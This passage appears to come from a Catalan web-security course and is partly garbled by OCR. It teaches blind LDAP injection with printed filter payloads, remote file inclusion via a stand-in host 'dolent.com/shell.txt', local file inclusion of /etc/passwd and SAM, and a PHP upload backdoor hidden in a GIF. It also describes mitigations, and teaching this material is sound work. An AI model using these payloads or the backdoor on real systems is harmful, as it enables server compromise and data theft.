de centrar en el segon filtre fent un recorregut de la manera segiient:

(& (objectClass=*) (objectClass=users)) (& (objectClass=foo) (impressoraTipus=Epson*))

(& (objectClass=*) (objectClass=persones)) (& (objectClass=foo) (impressoraTipus=Epson*))
(& (objectClass=*) (objectClass=usuaris)) (& (objectClass=foo) (impressoraTipus=Epson*))
(& (objectClass=*) (objectClass=logins)) (& (objectClass=foo) (impressoraTipus=Epson*))
(& (objectClass=*) (objectClass=...)) (& (objectClass=foo) (impressoraTipus=Epson*))

De tal manera que totes aquelles injeccions que retornessin la icona de la
impressora a la pagina web serien respostes afirmatives que ens indicarien
l'existencia d'aquest tipus d'objectes.

Una altra manera més eficient seria efectuar un escombratge en l'espectre de
l'alfabet de possibles valors utilitzant una cerca amb comodins, per a aixo fa-
riem un arbre que comencés per totes les lletres de 1'abecedari, de la manera
segient:
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(& (objectClass=*) (objectClass=a*)) (& (objectClass=foo) (impressoraTipus=Epson*))
(& (objectClass=*) (objectClass=b*)) (& (objectClass=foo) (impressoraTipus=Epson*))
(& (objectClass=*) (objectClass=z*)) (& (objectClass=foo) (impressoraTipus=Epson*))

De tal manera que continuariem desplegant l'arbre d'aquelles que haguessin
donat una resposta positiva.

(& (objectClass=*) (objectClass=aa*)) (& (objectClass=foo) (impressoraTipus=Epson¥*))

(& (objectClass=*) (objectClass=ab*)) (& (objectClass=foo) (impressoraTipus=Epson¥*))

(& (objectClass=*) (objectClass=az*)) (& (objectClass=foo) (impressoraTipus=Epson¥*))
(& (objectClass=*) (objectClass=ba*)) (& (objectClass=foo) (impressoraTipus=Epson*) )

(& (objectClass=*) (objectClass=bb*)) (& (objectClass=foo) (impressoraTipus=Epson*) )

I aixi successivament, amb la qual cosa, desplegant sempre les positives, po-
driem arribar a conéixer el nom de tots els objectClass d'un sistema.

a* b* z*

aa* ab* za* Z0 zz

zoa* zor*

Arbre de desplegament. S'aprofundira en totes les respostes positives (color verd)
pleg p! P! p

Aquest mecanisme no solament funciona per a objectClass, sin6 que seria valid
per a qualsevol atribut que un objecte compartis amb l'atribut fix. Una vegada
trets els objectClass, podriem procedir a efectuar el mateix recorregut per a
extreure'n la informacio; per exemple, si volem extreure els noms de tots els

usuaris d'un sistema, n'hi hauria prou de fer I'escombratge amb la injeccio

segient.
(& (objectClass=user) (uid=a*)) (& (objectClass=foo) (impressoraTipus=Epson*))
(& (objectClass=user) (uid=b*)) (& (objectClass=foo) (impressoraTipus=Epson*))

(& (objectClass=user) (uid=z*)) (& (objectClass=foo) (impressoraTipus=Epson*))
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Aquest metode obliga a fer un recorregut en amplitud per un arbre la possibi-
litat d'expandir-se del qual en cada node sempre és igual que l'alfabet complet.
Es pot reduir aquest alfabet fent un recorregut per a esbrinar quins caracters no
estan essent utilitzats en cap posicié de cap objecte, utilitzant un recorregut
de la manera seglient:

(& (objectClass=user) (uid=*a*)) (& (objectClass=foo0) (impressoraTipus=Epson*))

(& (objectClass=user) (uid=*b*)) (& (objectClass=foo) (impressoraTipus=Epson*))

(& (objectClass=user) (uid=*z*)) (& (objectClass=foo) (impressoraTipus=Epson*))

D'aquesta manera es pot excloure de l'alfabet aquells caracters que no hagin
retornat un resultat positiu després d'aquest primer recorregut. Si volguéssim
buscar un tnic valor, podriem executar una cerca binaria de cadascun dels
caracters utilitzant els operadors relacionals <= 0 >= per a reduir el nombre

de peticions.

En els atributs que emmagatzemen valors numeérics no és possible utilitzar
l'expressi6é regular * per a booleanitzar la informaci6 emmagatzemada, per

tant, és necessari fer la cerca de valors utilitzant els operadors >=1i <=.

(& (objectClass=user) (uid=kurt) (edat>=1) (& (objectClass=foo) (impressoraTipus=Epson*))

Injeccio LDAP a cegues en un entorn OR

En aquesta situaci6é tenim una consulta generada en el costat del servidor del
tipus seglient:

(| (atributl=valorl) (atribut2=valor?2))

En aquest entorn la logica que hem d'utilitzar és la contraria. En lloc de fixar
el valor del primer filtre a un valor sempre cert 'haurem de fixar a un valor
sempre fals i, a partir d'aqui, extreure la informacio, és a dir, fariem una injeccio

de la manera segiient:

(| (objectClass=void) (objectClass=void)) (& (objectClass=void) (impressoraTipus=Epson*))

Amb aquesta injeccié obtindrem el valor negatiu de referéncia. En 1'exemple
plantejat de les impressores disponibles haurem d'obtenir un resultat sense
la icona de la impressora. Després podrem inferir la informacié quan sigui
veritable el segon filtre.

(| (objectClass=void) (objectClass=users)) (& (objectClass=void) (impressoraTipus=Epson¥*))
(| (objectClass=void) (objectClass=persones)) (& (objectClass=void) (impressoraTipus=Epson¥*))
(| (objectClass=void) (objectClass=usuaris)) (& (objectClass=void) (impressoraTipus=Epson*))

(| (objectClass=void) (objectClass=1logins)) (& (objectClass=void) (impressoraTipus=Epson*))
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(| (objectClass=void) (objectClass=...)) (& (objectClass=void) (impressoraTipus=Epson*))

D'igual manera que en l'exemple amb l'operador AND podriem extreure tota
la informaci6 de l'arbre LDAP utilitzant les expressions regulars.

Exemples d'injeccié LDAP a cegues

Per a mostrar la poténcia dels atacs d'injeccié LDAP a cegues s'ha creat, dins
d'un arbre LDAP sobre 'ADAM, una estructura amb objectes Printer. En la fi-
gura segiient es poden veure els atributs d'un objecte de tipus Printer.

5 CN=HP Laserjet 2100,0U=Printers, 0= DemolDAP [E=3R0F X"}
Fle Ede Vew Tooks Heb
era-B 13 2R XPRE AB- 27 By & of % (cdpectClss=*) .
5 @ DemolDAP | Name | Type [sze | -
@ 2 OU=Documents (3 objectClass test attribute 3
@ () CNsLostandFound (3 cbjectClass text attribute 7
(2 CN=NTDS Quotas Een HP Laserjet 2100 test attribute 16
=) OU=Printers (5 datnguishedName CNzHP Laserjet 2100,0U=Printers, 0= Demol DAP text attribute 2
@ 0 CNsCannon 9 Ll | ‘ (3 instanceType 4 text attribute 1
(=] CN=HP Laserjet 2100 (D whenCreated 20071107110906.02 text attribute 17
@ ) CNeXerox 2300 Laser Col | | L whenChanged 2007112010112802 text attribute 17 5
® &3 CN=Roles | | ushCreated 12455 text attribute H
® &) OU=Sanness (SushChanged 20518 text attnbute ]
& £ OUsUsers (Haame HP Laserjet 2100 e attribute 16
5 CN=Alan Bradiey £ cbjectGUID El 34 85 E6 49 85 9A 41 B5 BD 61 37 05 49 CF F3  binary attribete 16
Y £ CN=Cindy Morgan (S objectCategery CNzprinter, CN=Schema, CN=Config CN=[3BA.. te attribute »
- (%) department Financial tet attribute 9
&-E) CNeDavid Wamer B cresteTimeStamp 20071107110906.0Z operational attribte 17
. @O CN=Stevenlisberger - |7 0 it TimeStamp 20711201011280Z operational attribte 17
< L ) B S SubEntry CNs=A CNs=Schema, CN= Confiquration,CNs{...  operational attribute 81 -
Ready. For Help, press F1 0 cn=Alan Baadley,ous users, 0= demolD, Schema loaded [

Arbre LDAP sobre I'ADAM. Objecte de tipus Printer

Sobre aquest arbre LDAP treballa una aplicacié web que es connecta, entre
altres repositoris, a aquest arbre per a obtenir informacié. En aquest cas tenim
una aplicaci6é programada en PHP, anomenada printerstatus.php, que rep com
a parametre el nom de la impressora i construeix una consulta LDAP de la
manera segiient:

(& (cn=HP Laserjet 2100) (objectclass=printer))

El resultat és una pagina web en la qual s'accedeix a propietats de la impressora

en concret.
e Printer Status - Windows Internet Explorer LE‘M
@ )~ l @ nhttp://www.ServerDemo.com/printerstatus.php?idprinter=HP LaserJet 2100 v | 45 | X [ l Google Pl -
W ‘@PrinterStatus [7] [ v deh v [ Pagina v { Herramientas v
PRINTER STATUS
User Steven Lisberger Level low

Name: HP Laserjet 2100
IP_Adress: 192.168.1.45

§
’l‘ Status: Printing
-,g ‘:’ Cartridge Ink Level : 81%

A Listo M Equipo | Medo protegido: desactivado #100% ~

Propietats de la impressora HP Laserjet 2100
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El parametre idprinter s'utilitza per a construir la consulta LDAP i és vulnerable
a injeccié LDAP; no obstant aix0, no es mostra cap de les dades dels objectes
que es puguin seleccionar amb qualsevol consulta executada, per la qual co-
sa Unicament sera possible fer una explotacio a cegues. Les captures segiients
mostren exemples de com es pot extreure informacié de 1'arbre LDAP mitjan-
cant injeccié LDAP a cegues.

Fase 1. Descobriment d'atributs

L'atacant injecta atributs per descobrir si n'hi ha o no. Quan l'atribut no exis-
teix la consulta LDAP no retorna cap objecte i l'aplicacié no mostra dades de

cap impressora.

Cal tenir en compte que l'expressio regular * val inicament per als valors de
tipus alfanumeric, per la qual cosa si l'atribut fos d'un altre tipus no es podria
descobrir aixi. Per als tipus numerics i de tipus data s'utilitzen els operadors
>=, <= 0 =1 per als booleans les constants true i false.

(@ Printer Status - Windows Internet Explorer ISRIC X
@ )~ [ @ nttp://www.ServerDemo.com/printerstatus.phpZidprinter=HP Laserlet 2100)(ipaddress=> <[4+ x| Googte 2
DA | @ Printer Status | ) v B v @ v [ Pagina v {(} Herramientas v =

PRINTER STATUS

User Steven Lisberger Levellow

Name:

/ 1P_Adress:

/

-y =t
"%_% Cartridge Ink Level :

A Listo ™ Equipo | Modo protegido: desactivado #®100% ~

L'atribut /Paddress no existeix o no té valor alfanumeric

En l'exemple segiient, l'atribut distinguisedname existeix i a més és de tipus
alfanumeric, ja que funciona perfectament amb l'expressio regular *. Aixo es
pot comprovar perque la pagina de resultats ha retornat dades de la impressora
que s'estava utilitzant.

(@ Printer Status - Windows Internet Explorer SRR X

@ G [’e http://www.ServerDemo.com/printerstatus.php?idprinter=HP LaserJet 2100)(distinguisedname=* v [ 45 | X I Google 2 |

W

(@ Printer Status ' [ E) v @= v =) Pagina v {{} Herramientas v ”

PRINTER STATUS

User  Steven Lisberger Level low

Name: HP Laserjet 2100

| IP_Adress: 192.168.1.45

/

— Status: Printing
"b‘_% Cartridge Ink Level : 81%

A Listo M Equipo | Modo protegido: desactivado #®100% ~

L'atribut distinguisedname existeix i té valor alfanumeric
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Com es pot veure, hi ha diferéncies en les pagines que retornen dades i les
que no, amb la qual cosa es pot automatitzar 1'extraccié de tota la informacio
i el descobriment dels atributs simplement comparant els resultats HTML ob-
tinguts.

En la figura segiient s'obté de nou un resultat positiu que confirma I'existéncia
d'un atribut department.

(€ Printer Status - Windows Internet Explorer =] 5
@ \ ‘@ http://www.ServerDemo.com/printerstatus.php?idprinter=HP Laserlet 2100)(department=* + | ‘,‘ X ‘ ‘ Google yel |
S &t | @ Printer Status | [ IR v b v |:J» Pagina v {{} Herramientas v ”

PRINTER STATUS

User Steven Lisberger Level low

Name: HP Laserjet 2100
/ IP_Adress: 192.168.1.45

| N
_"’ Status: Printing
'%./ Cartridge Ink Level : 81%

/] Listo /M Equipo | Modo protegido: desactivado #100% v

L'atribut Department existeix i té valor Unicode extraible

Fase 2. Reduir 1'alfabet

Una de les opcions que es poden sospesar és fer una reducci6 de l'alfabet possi-
ble de valors en un camp. La idea consisteix a saber si hi ha o no un determinat
caracter en un atribut. Si l'atribut té 15 caracters de longitud i hem de provar,
per exemple, 28 lletres per 15 caracters, caldria fer un total de 420 peticions per
a extreure'n la informacié. No obstant aixo, es pot fer un recorregut que ens
digui si una lletra pertany o no al valor. D'aquesta manera fariem primer 28
peticions que, en el pitjor dels casos, ens deixaran una lletra diferent per cada
posicio, és a dir, 15 lletres. Llavors, en el pitjor dels casos tindriem 15 lletres x
15 posicions + 28 peticions de reducci6 de l'alfabet, és a dir, 253 peticions. A
més, cal inferir que si una lletra ja ha estat utilitzada pot ser que no es torni a
utilitzar, amb la qual cosa tindriem una reduccié encara més gran si la lletra
s'utilitzés com a Gltima opcid, deixant la probabilitat en un sumatori d'1...15
+ 28, és a dir, 148 peticions.

Com a conclusio, es pot col-legir que la reducci6 de l'alfabet és una bona opcio
a I'hora d'extreure valors de camps.

En els exemples segiients anem a veure com podem esbrinar si un caracter

pertany o no el valor del camp.
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(@ Printer Status - Windows Internet Explorer E@g
@ (M ﬂ é http://www.ServerDemo.com/printerstatus.php?idprinter=HP LaserJet 2100)(department="b* l v I 5 | X | l Google R -
> fe— ] 2 = P . »
W [@PrinterStatus [ ‘ o~ v = v - Pagina v i} Herramientas v
PRINTER STATUS
User Steven Lisberger Levellow
Name:
| i / IP_Adress:
Status:
g _’I Cartridge Ink Level :
A Listo M Equipo | Modo protegido: desactivado #100% ~
La lletra b no pertany al valor de l'atribut department perque no s'obtenen dades
i (€ Printer Status - Windows Internet Explorer (E=Hl ™)
@ Q v l@ http://www.ServerDemo.c idpril HP Laserlet p *n* ]' | ‘7| X ‘ ‘ Google i £ |
| @i [ B v B - @ < s Pagie - ) Hegomients ~
PRINTER STATUS
User Steven Lisberger Levellow
Name: HP Laserjet 2100
| § '[ IP_Adress: 192.168.1.45
Status: Printing
% Cartridge Ink Level : 81%
] Listo M Equipo | Modo protegido: desactivado ®100% ~

La lletra n si que pertany al valor de I'atribut department perque si que s'obtenen dades

Aquesta reduccié deixaria un conjunt de valors valids que es poden emprar

per a extreure el valor de la dada mitjangant un procés de desplegament.

Fase 3. El desplegament

En aquesta fase, una vegada reduit l'alfabet, cal ordenar les lletres obtingudes;
per a aixd comencarem un procés des de la primera posicio.

(@ Printer Status - Windows Internet Explorer

EIEl=X=)
@ 7 Il@ http://www.ServerDemo.com/prir hp?idpri HP LaserJet 2100)(d: i I > | ‘7| X ‘ | Google A pel -
—
= ) >
ﬁ ahe ,g Printer Status ] ‘ @ v v @ v Le_;_‘(Pégina o g(- Herramientas v
PRINTER STATUS
User Steven Lisberger Levellow
Name:
| i ‘f IP_Adress:
Status:
“% _’! Cartridge Ink Level :
] Listo /M Equipo | Modo protegido: desactivado ®100% v

El valor de department no comenca per la lletra a perqué no s'obtenen dades

S'aniran provant lletres fins que s'obtingui un resultat positiu que confirmi
que amb aquest patro es retornen dades.
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g Printer Status - Windows Internet Explorer @M

@U - é http://www.ServerDemo.com/prir idpri HP LaserJet 2100)(department=f* ] v ‘ 47[ X | l Google R vl

W ‘gPrinterStatus [71 [ v d= v [ Pagina v {} Herramientas v

PRINTER STATUS

User  Steven Lisberger Levellow

Name: HP Laserjet 2100
IP_Adress: 192.168.1.45

'f Status: Printing
o Cartridge Ink Level : 81%

A Listo /M Equipo | Modo protegido: desactivado #100% ~

El valor de department si que comencga per la lletra f perqueé si que s'obtenen dades

Una vegada descoberta la primera lletra, aquesta es mantindra fixa i es proce-
dira a buscar la segona lletra, substituint sempre els caracters obtinguts en la

fase de reduccié de l'alfabet.

@ Printer Status - Windows Internet Explorer @ﬂlﬁ
@U v u & nttp://www.ServerDemo.com/pri hp?idpri HP LaserJet 2100)(dep fa* I v ‘ 5 ‘ X ' ‘ Google Pl v
G | prinerstaus [ B - B - # - [ agine - Hegomientas -

PRINTER STATUS

User Steven Lisberger Level low
Name:
i ’f IP_Adress:
7 D
"%Lf Cartridge Ink Level :

] Listo M Equipo | Modo protegido: desactivado #100% ~

El valor de department no comenga per les lletres fa perqué no s'obtenen dades

(@ Printer Status - Windows Internet Explorer LE@@
- p Y

@ W) Vl‘ & nitp://www.ServerDemo.com/pri php?idpri HP LaserJet P fi l v | ‘7| X l Google 2 |

Gt | @ pimerstatus [ v B) v @ v ) Pigina v () Heramientas +

PRINTER STATUS

User Steven Lisberger Level low

Name: HP Laserjet 2100
! IP_Adress: 192.168.1.45

w,
-, Status: Printing
=7

Cartridge Ink Level : 81%

] Listo M Equipo | Modo protegido: desactivado #100% «

El valor de departament si que comenca per les lletres fi perqué si que s'obtenen dades

Aquest procés es repetiria amb tots els atributs descoberts i fins que s'haguessin
descobert totes les lletres que permeten extreure informaci6 oculta dels objec-
tes de l'arbre LDAP.

LDAP és una tecnologia en expansi6 la implantacié de la qual en els sistemes
de directori i metadirectori la fa cada dia més popular. Els entorns intranet fan
un Gs intensiu d'aquesta tecnologia per a oferir sistemes de single sing-on i fins
i tot és comu trobar entorns LDAP en els serveis d'Internet.
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Aquesta popularitat fa que sigui necessari incloure les proves anteriors dins
dels processos d'auditoria de seguretat de les aplicacions web. Les proves
d'injeccions d'auditoria que s'estaven fent avui dia, seguint la documentacio
existent, son de poca ajuda, ja que en els entorns més comuns, com I'ADAM
0 1'0OpenLDAP, no funcionen.

La soluci6 per a protegir les aplicacions enfront d'aquest tipus d'injeccions és,
com en altres entorns d'explotacio, filtrar els parametres enviats des del client.
En aquest cas, filtrar operadors, paréntesis i comodins perqué un atacant mai

no sigui capac¢ d'injectar logica dins de la nostra aplicacio.
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3. Atacs d'injeccié de fitxers

3.1. Inclusidé d'arxius remots (remote file inclusion)

Mitjancant aquesta denominaci6é podem definir la vulnerabilitat consistent a
executar codi remot dins de I'aplicaci6é vulnerable. Es basa en la idea que, igual
que és possible carregar un fitxer local per a incloure'l dins de la pagina, en

podriem carregar un de remot que contingués codi malicios.

Aix0 és possible en llenguatges interpretats, en qué podem incloure un fitxer
amb codi i afegir-lo a 'execucié. En l'exemple segiient es pren com a base una
pagina programada en PHP:

http://www.lamevapagina.com/mostrar.php?pag=index.php

El PHP fa as de funcions que permeten la inclusié de fitxers externs per a ge-
nerar pagines més complexes i més completes. En 'hipotétic exemple anterior
el fitxer mostrar.php faria as d'alguna d'aquestes funcions de PHP que permeten

la inclusié dinamica de fitxers:

include($pag)

require($pag)

include_once($pag)

* require_once($pag)

Aquestes funcions reben un parametre (anomenat $pag en aquest exemple)
que indica la ruta del fitxer que s'ha d'incloure. Si la variable pag no esta sufi-
cientment controlada podrem fer una crida a un fitxer extern que es baixara

i interpretara en el costat del servidor:

http://www.lamevapagina.com/mostrar.php?pag=http://dolent.com/shell.txt

En la crida anterior el servidor mipagina.com sol-licitara a dolent.com el fitxer

shell.txt, que incloura codi PHP valid que s'executara en mipagina.com.

Aquesta fallada es deu a una mala configuraci6 del servidor PHP, el qual per-
met la inclusi6 de fitxers externs. La configuraci6 correcta hauria de ser la pro-

hibici6 total de fer aquestes accions.
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Per a establir una configuracié adequada en l'intérpret de PHP hem de buscar el

fitxer’php.ini de configuracio i establir la clau de configuracié allow_url_include

a false.

Aquesta fallada de seguretat pot donar lloc al fet que un atacant aconsegueixi
executar qualsevol codi que vulgui en el servidor web, amb els riscos que aixo
comporta. Hi ha fitxers ja pregenerats per a ser inclosos dins del flux d'execucio
de l'aplicaci6 web. Van des d'un simple intérpret d'ordres fins a una completa
interficie equipada amb el seu explorador de fitxers, opcions per a pujar o

baixar fitxers i fins i tot la possibilitat d'executar programes en l'equip remot.

@ localhost - phpshell - Mozil el —— s S

File Edit View History Bookmarks Tools Help %

E- - @ €3 (2} [0 nttp/tocalhost/riindexphp?pagina=https//www.rsTshellin/cd.t | + | B | [[Gl+[ Google &

& Disable~ & Cookies~ | CSS~ =] Forms~ & Images ~ @ Information ~ Miscellaneous ~ ./ Outline ~ ,2: Resize v f Tools~ Q View S

& c999Shell v. 1.0 pre-release build #16 § 2

Software: Microsoft-11S/7.0. PHP/5.2.6

uname -a: Windows NT SEATTLE 6.0 build 6001
SEATTLES

Safe-mode:

C:\inetpub\wwwroot\rfi\

Free 18.24 GB of 100 GB (18.24%)
Detecteddrives:[a][c][g_][e]

4 24 FA
A « - = % ™ cncoder Tools Proc. FTP
brute Sec. SQL PHP-code Update Feedback Self remove Logout

m

Owned by hacker

Listing folder (6 files and 2 folders):

Name & i i Perms

Intérpret d'ordres remot executant-se

Hi ha una gran varietat de d'interprets d'ordres remots que podem trobar a
Internet. Per exemple, el mostrat en la captura es diu c99, encara que n'hi ha
d'altres com r57 o c100. De tota manera, sempre ens en podem programar un
de propi amb la funcionalitat que necessitem.

3.2. Inclusié d'arxius locals (local file inclusion)

Aquesta vulnerabilitat, al contrari que l'anterior, afecta tant llenguatges com-
pilats com d'interpretats. Es basa en la possibilitat d'incloure dins de la pagina
un fitxer local de l'usuari amb el qual s'executa el servidor d'aplicacions web

que tingui permisos de lectura.

Aquesta vulnerabilitat pot ocorrer en qualsevol lloc d'un lloc web pero sol ser

més comuna en dos llocs ben diferenciats:

e Pagines de plantilles. Carrega un fitxer des d'un altre i li déna format.

e Pagines de descarregues. Rep un parametre amb el nom del fitxer per

baixar i I'envia al client.

@En el Linux sol ser a /etc/php5/
php.ini
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El concepte que hi ha rere totes dues fallades és el mateix, i les implementaci-
ons defectuoses de vegades també. Per a aconseguir explotar aquesta vulnera-
bilitat d'una manera satisfactoria hauriem de poder fer crides a fitxers fora de
la ruta original. Aix0 ho fariem intentant incloure fitxers d'un directori supe-
rior usant els caracters ../ en sistemes Linux o ..\ en sistemes Windows més el
nom d'un fitxer del quan coneguem l'existéncia. Per exemple, sospitem que
aquesta URL té una fallada d'inclusi6 d'arxius locals:

http://www.victima.com/noticies/detall.php?id=4&tipus=esports.php

Llavors, per a corroborar-ho i determinar que efectivament ens trobem enfront
d'una fallada d'inclusi6 d'arxius remots podriem modificar I'URL fins que que-

dés com segueix:

http://www.victima.com/noticies/detall.php?id=4&tipus=../index.php

Amb aquesta simple comprovacié podriem detectar si una pagina va a ser vul-

nerable a una inclusié d'arxius locals.

Aquesta técnica es pot ampliar (si els permisos ho permeten i no s'aplica el
concepte del minim privilegi) a fitxers fora del directori de l'aplicaci6 web i
comencgar a incloure fitxers del sistema operatiu mateix. Aix0 ens permetra

obtenir més informaci6 sobre l'equip.

Per a localitzar sense equivocacions els fitxers podem usar una fallada de path
disclosure perque ens doni informacio sobre la ruta local on se situen els fitxers.
De tota manera, i si no coneixem la ruta relativa d'un fitxer enfront de la
pagina vulnerable, podem usar les rutes directes. Una ruta directa és la que
inclou tot el nom del fitxer.

Hi ha molts fitxers interessants als quals podem accedir mitjancant aquesta
técnica, depenent dels objectius de l'atacant. A més, aquests variaran entre
diferents sistemes operatius. A continuacio es detallen alguns d'aquests fitxers

com a mostra de la informaci6é que podem arribar a obtenir:

e Jetc/passwd. Fitxer d'usuaris en sistemes Linux. Conté un compendi dels

usuaris existents i també dades relatives a ells, com el seu nom o directori.

e Jetc/hosts. Permet desar informacio sobre equips propers. Sol contenir una
llista de noms i IP internes que ens permeten obtenir una idea millor de

I'estructura interna d'una organitzacio.

e C:\Windows\repair\SAM. SAM és el fitxer que conté els noms d'usuaris
i claus dels wusuaris d'un sistema Windows. En la carpeta repair
s'emmagatzema una copia del fitxer SAM per a poder-lo recuperar-la en

cas d'error del sistema.
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e Elfitxer vulnerable mateix. Es molt instructiu baixar el fitxer vulnerable
mateix mitjancant la fallada d'inclusi6 d'arxius locals per a poder aprendre
dels problemes d'altres.

Per a evitar que aquesta tecnica tingui més impacte és important pensar a mun-
tar el servidor amb el minim privilegi possible, limitant la possibilitat d'accés
a fitxers del servidor dins de la seva carpeta, amb la qual cosa aconseguirem
evitar I'accés a fitxers del sistema, encara que no a fitxers propis de l'aplicacio.

@& Mozilla Firefox S | B
File Edit View History Bookmarks Tools Help

@ - -& (5 [0 nttpsiocalhost/rfi/index.phpZpagina=C:\Windows\win.ini [ 3] [[Cl+] Google oY
© Disable~ £ Cookies~ | CSS~ [=] Forms~ (& Images~ @ Information ~ Miscellaneous ~ ./ Outline~ u; Resize 7 Tools~ 2] View S

: for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMC=1
MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions. BAK] m2v=MPEGVideo mod=MPEGVideo

Exemple d'inclusié d'arxius locals

Si volem fer una protecci6 del fitxer mitjancant programacié en lloc de con-
trolar-lo mitjancant permisos en el servidor cal tenir en compte que les rutes

a fitxers es poden escriure de dues maneres:

e Directa. Escrivim la ruta on es troba el fitxer directament. Hauriem, per
tant, d'eliminar els caracters \ o/ de les dades enviades pels usuaris.

e Relativa. Usem la canonitzaci6 per a pujar cap a directoris superiors mit-
jancant I'as de ..\ o ../. Ho podriem evitar excloent, a més de l'anterior,
els punts.

3.3. Webtrojans

Una de les funcionalitats més esteses en pagines web mitjanament complexes
és la possibilitat de pujar fitxers al servidor: imatges, documents en PDE, fitxers
de video, etc. Tots els fitxers?

Quan un usuari ens envia un fitxer hem de comprovar que el que ens fa arribar
és un fitxer legitim, és a dir, si estem esperant l'arribada d'un fitxer amb una
imatge és necessari verificar que el que rebem és realment una imatge i no un

altre tipus de fitxer.

Si no comprovem els fitxers que ens envien podriem estar copiant en el nostre
servidor un fitxer malintencionat conegut com a webtrojan. Un webtrojan és un
interpret d'ordres remot que podem pujar a un servidor aprofitant una fallada
de seguretat.
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Hi ha multitud d'intérprets remots en diferents llenguatges a disposici6 de
qualsevol. Aquests interprets solen ser detectats pels antivirus per a evitar que
passin desapercebuts a administradors despistats, pero poden estar "camuflats"
dins d'altres fitxers.

L'exemple més clar de com es pot camuflar un fitxer d'aquests és incloure'l
després d'una capgalera d'una imatge, en que alguns servidors sén capacos
d'executar el codi.

b D e
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| File Edit Format View Help
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Sfp fopen( uﬁ1oad.php", "w');
$entry_line="<hl>Sube Arch1vos</h1>';
Sentry_line2="<hr><form action=' ug]oad.php"
enctype="multipart/form-data” method=post><input
ty e=file name-whatever><1nput type=submit

ue= U?1oad></form> H

Sentry ine3= "<?$Root = getcwd();";
Sentry_line4="move_uploaded_file(S_FILES[\ 'whatever\']
[\ " tmp_ name\ ] $Root .\'/\'. S_FILES[\'whatever\']
[\"name\"1); "

fputs ($fp,
Sentry_ 11ne $entry_Tline2. $entry_line3. $entry_line4);
fclose($fp); 7>
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Webtrojan ocult dins d'un fitxer GIF

En la imatge anterior es pot veure com un fitxer GIF obert amb un visor de
textos deixa a la vista codi PHP que generara una porta posterior per a pujar
qualsevol tipus de fitxer.

Per a evitar aquest tipus de problemes hem de comprovar sempre no solament
I'extensio sind també la capcalera del fitxer per a corroborar que és del tipus
que nosaltres hem permes. Una bona practica és establir nosaltres mitjancant
programacio l'extensio dels fitxers que ens pugen, la qual cosa evita que alga
pugui pujar un fitxer i establir-lo amb extensions com ASP o PHP.
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En el primer apartat s'ha analitzat com es poden fer atacs d'injeccio de scripts,
que si bé s'executen en la maquina del client, no per aixd sé6n menys perillo-
sos. Mitjancant atacs de cross site scripting (XSS) hem vist com un atacant pot
utilitzar les variables que utilitzen els scripts per a enviar dades que permeten
executar ordres. D'altra banda, el cross site request forgery (CSRF) permet a un
atacant forcar que un usuari faci accions no desitjades en dominis remots,
aprofitant la persisténcia de sessions entre les pestanyes d'un navegador. Fi-
nalment, hem vist com les tecniques de clickjacking permeten a un atacant
segrestar el clic d'un usuari, és a dir, aconseguir que un atacant faci clic en una
pagina proporcionada per l'atacant creient que ho esta fent en una altra de la
seva confianca.

El segon apartat ha descrit com es fan atacs d'injeccié de codi. D'una banda,
s'han mostrat els atacs d'injeccié SQL, que permeten a un atacant l'execuci6
d'ordres directament en la base de dades, en aquelles aplicacions web amb de-
ficiencies de seguretat. Com hem pogut veure, aquests atacs so6n automatitza-
bles mitjancant técniques d'injecci6 a cegues, i hi ha eines que permeten exe-
cutar-ne. D'altra banda, els atacs d'injeccié LDAP permeten fer atacs d'elevacio
de privilegis, de salt de proteccions d'accés i d'accés a dades en arbres LDAP
mitjancant 1'Gs d'injeccions de codi.

Finalment, en el tercer apartat s’han mostrat les tecniques d'injecci6 de fitxers
que permeten a un atacant executar codi remot en un servidor. Hem vist que
I'execuci6 de codi remot es pot fer tant en llenguatges interpretats (com PHP)
mitjancant la inclusi6 d'arxius remots, com en llenguatges compilats utilitzant
inclusi6 d'arxius locals. D'altra banda, també hem esmentat com un webtrojan

ens permet amagar el codi dins d'un fitxer d'aparenca innocua.
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